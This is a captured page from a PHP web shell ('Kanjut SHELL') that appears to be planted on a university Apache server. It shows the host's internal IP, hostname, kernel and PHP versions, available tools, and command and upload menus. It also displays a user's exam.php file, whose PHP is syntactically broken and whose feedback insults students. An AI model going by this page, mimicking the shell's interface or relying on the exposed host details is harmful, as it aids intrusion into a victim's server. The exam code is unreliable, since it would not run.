Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 13.58.18.135
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/vnlaughlin/../jdgoode/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/vnlaughlin/../jdgoode/exam.php
<FONT color=blue size=4>
<CENTER>
<B>
<?php
	$a1 = $_POST['q1'];
	$a2 = $_POST['q2'];
	$a3 = $_POST['q3'];
	$a4 = $_POST['q4'];	

	$score = 0;
	if($a1 == "A")
		$score += 25; print "1: Good job, you've accomplished 
something. <p>";
	else
		print "1: The correct answer was A. You're a failure. 
<p>";
	if($a2 == "B")
		$score += 25; print "2: Do you feel good about yourself? 
<p>";
	else
		print "2: The correct answer was B. Seriously kid. <P>";
	if($a3 == "C")
		$score+=25; print "3: Correct. I'm so proud of you. <p>";
	else
		print "3: The correct answer was C. This is why you have 
no friends. <p>";
	if($a4 == "D")
		$score+=25; print "4: Correct. Aren't you impressive... 
<p>";
	else
		print "4: The correct answer was D. You disgust me as a 
human being. Maybe you're an octupus. In that case, well done. <p>";

	print "Total score: $score%. Yea, my mother never loved me 
either.";

?>
</B>
</CENTER>
</FONT>

Stv3n404 - 2023